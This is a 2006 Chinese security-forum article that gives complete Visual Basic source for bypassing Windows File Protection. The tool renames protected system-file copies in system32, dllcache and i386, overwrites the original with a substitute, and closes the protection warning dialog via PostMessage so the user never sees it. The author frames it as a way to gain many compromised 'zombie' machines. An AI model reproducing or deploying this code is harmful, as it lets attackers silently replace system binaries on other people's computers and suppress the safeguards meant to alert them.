通行证│用户名: 密码: 验证码: 验证码,看不清楚?请点击刷新验证码 电信网通铁通移动   在线
文章搜索:
热门搜索:红客 黑鹰 红客技术 安全动画 红客培训
首页 文章 软件 动画 资源 励志 论坛 邮箱 会员 军事 科技 博客 爱心红客 最近更新 800g资源
 业内新闻 漏洞公告 病毒公告 电脑知识 网络知识 菜鸟入门 攻防教程 黑客攻防 安全编程 工具使用 综合安全 个人安全 安全相关 Q Q安全 原创精华 红客人物 站内事件
您现在的位置: 爱国者安全网 >> 文章类 >> 原创精华 >> 文章正文
Windows文件保护如此不堪一击之解决篇
责任编辑:古典辣M°   更新日期:2006-1-17
 

看了《Windows文件保护如此不堪一击之攻略篇》(下文简称“攻略”)是不是很带劲啊,想自己动手一试,但有怕那个对话框坏了我们的好事,如何是好?那就请看本文吧!

“破坏”思想
还是先说思想,有了思想万事都好办。注意“攻略”一文中对话框的标题,是不是“Windows 文件保护”啊。我们就从它下手。有两种方法,一是根据这个窗口标题查找,找到后将其隐藏,这个可以通过ShowWindow API和SW_HIDE消息来完成,但是毕竟窗口仍然存在,不是很安全。第二种也同样是根据这个窗口标题查找,找到后不是将其隐藏,而是通过发送系统消息直接关闭。下面我将以一个完整的替换文件、关闭对话框的例子来讲解。这里选择第二种方法。

界面设计
  好了,还是先给出各控件布局,及对应属性。

初始化
  程序开始首当其冲的当然是初始化了。在这里要声明需要使用的API、常数及变量,并获取Windows目录的完整路径。
'获取WINDOWS安装所在目录的API
Private Declare Function GetWindowsDirectory Lib "kernel32" Alias "GetWindowsDirectoryA" (ByVal lpBuffer As String, ByVal nSize As Long) As Long
'查找窗口句柄的API
Private Declare Function FindWindow Lib "user32" Alias "FindWindowA" (ByVal lpClassName As String, ByVal lpWindowName As String) As Long
'根据句柄关闭指定窗口的API
Private Declare Function PostMessage Lib "user32" Alias "PostMessageA" (ByVal hwnd As Long, ByVal wMsg As Long, ByVal wParam As Long, ByVal lParam As Long) As Long
'关闭窗口的常数
Private Const WM_QUIT = &H12
'存放Windows目录的变量
Dim WindowsDirectory As String

Private Sub Form_Load()
'存放获取的Windows目录的字符串缓冲区
Dim Path As String
'设置缓冲区内容,以便分解Windows目录的完整路径
Path = Space(255)
'获取Windows目录的路径,存放进缓冲区
Call GetWindowsDirectory(Path, 255)
'分解Windows目录的完整路径
WindowsDirectory = Mid(Path, 1, InStr(1, Path, " ") - 2)
'指定被替换文件的完整路径及文件名
txtSource.Text = WindowsDirectory & "\" & "notepad.exe"
'指定替换文件的完整路径及文件名
txtDestination = WindowsDirectory & "\" & "regedit.exe"
End Sub
  然后就要开始替换文件的过程了。判断指定的被替换文件和替换文件是否都存在,存在的话则就根据复选框选择的路径进行替换,这里的思想是将所有的文件都改名了,就没有办法恢复了,然后将替换文件复制成被替换文件,这样就避免了直接替换而可能产生意料情况。替换后将定时器激活,进行对话框查找。
Private Sub cmdDo_Click()
'执行时屏蔽所有的操作对象,防止误操作,而导致程序崩溃
cmdDo.Enabled = False: txtSource.Enabled = False: txtDestination.Enabled = False
chkWindows.Enabled = False: chkSystem32.Enabled = False: chkDllcache.Enabled = False: chkI386.Enabled = False
'设置错误陷阱,因为下面的程序涉及到文件操作
On Error Resume Next
'判断被替换文件和替换文件是否存在
If Dir(txtSource.Text) <> "" And Dir(txtDestination.Text) <> "" Then
'存在,定义被替换文件的文件名存放变量
Dim FileName As String
'获取被替换文件的文件名
FileName = Mid(txtSource.Text, InStrRev(txtSource.Text, "\") + 1, Len(txtSource.Text) - InStrRev(txtSource.Text, "\"))
'判断是否选中Dllcache复选框
If chkDllcache.Value = 1 Then
'是则对Dllcache下的被替换文件改名
Name WindowsDirectory & "\system32\dllcache\" & FileName As WindowsDirectory & "\system32\dllcache\" & FileName & ".bak"
End If
'判断是否选中System32复选框
If chkSystem32.Value = 1 Then
'是则对System32下的被替换文件改名
Name WindowsDirectory & "\system32\" & FileName As WindowsDirectory & "\system32\" & FileName & ".bak"
End If
'判断是否选中I386复选框
If chkI386.Value = 1 Then
'是则对I386下的被替换文件改名
Name WindowsDirectory & "\ServicePackFiles\i386\" & FileName As WindowsDirectory & "\ServicePackFiles\i386\" & FileName & ".bak"
End If
'判断是否选中Windows复选框
If chkWindows.Value = 1 Then
'是则对Windows下的被替换文件改名
Name WindowsDirectory & "\" & FileName As WindowsDirectory & "\" & FileName & ".bak"
End If
'将替换文件复制为被替换文件
FileCopy txtDestination.Text, txtSource.Text
'激活定时器
timCheck.Enabled = True
End If
End Sub
  最后则是不停的监视那个“Windows 文件保护”的对话框,一出来就通过PostMessage API向其发送WM_QUIT系统消息,将其关闭。这里要注意一点,是用PostMessage而不是SendMessage,主要是因为消息不需要等待,如果用后者,则关闭不了“攻略”一文中的对话框。反而会弹出另一个对话框。
Private Sub timCheck_Timer()
'设置错误陷阱
On Error Resume Next
'定义存放"Windows 文件保护"窗口句柄的变量
Dim hwnd As Long
'查找"Windows 文件保护"窗口,并把对应的句柄存入变量
hwnd = FindWindow(vbNullString, "Windows 文件保护")
'判断是否找到窗口
If hwnd <> 0 Then
'是则关闭窗口
Call PostMessage(hwnd, WM_QUIT, 0, 0)
'给出成功提示
MsgBox "替换成功!", vbInformation
'退出程序
End
End If
End Sub
好了,到这里就可以编译使用了。

写在最后
这样简简单单几步就把MS安全强大的WFP给突破了,让我自己也有点不敢相信,不过这是事实,不得不信啊。一个“小”洞+一款利器=多多肉鸡,相信你绝对不会错过的。留下BLOG,随时欢迎。http://smallrascal.blog.tom.com

 

  • 上一篇文章:
  • 下一篇文章:
  • 最近更新
    固顶文章 爱国者安全网2007年度优秀版主评选
    普通文章 瑞星公司01月11日发布 每日计算机病毒及木马播报
    普通文章 破解博彩神助(专注彩票) V2.8.01
    推荐文章 推荐:跨站脚本执行漏洞代码的六点思路
    普通文章 Windows系统下的远程堆栈溢出 实战篇
    普通文章 Windows系统下的远程堆栈溢出 原理篇
    普通文章 MsSQLServer是如何加密口令的
    普通文章 浅谈国内的渗透评估过程
    普通文章 Dvbbs8.1 0DAY(通杀Access和mssql版本)
    普通文章 微软:我们的代码比赛门铁克更安全
    热门文章
    普通文章REAL蛀虫利用播放器漏洞下载恶意程序
    普通文章李彦宏:中国要在互联网领域逐渐超越美国
    普通文章马云:阿里巴巴的成功是一个生态链的成功
    普通文章Ingres用户认证非授权访问漏洞
    普通文章TCPreen FD_SET()函数远程栈溢出漏洞
    普通文章Winace UUE文件解压堆溢出漏洞
    普通文章Pclxav木马猎手第一代特征码引擎源代码
    普通文章IE收藏夹管理小精灵算法分析
    普通文章Extra Drive Pro算法分析历程
    普通文章雨过天晴自我注册
    精彩专题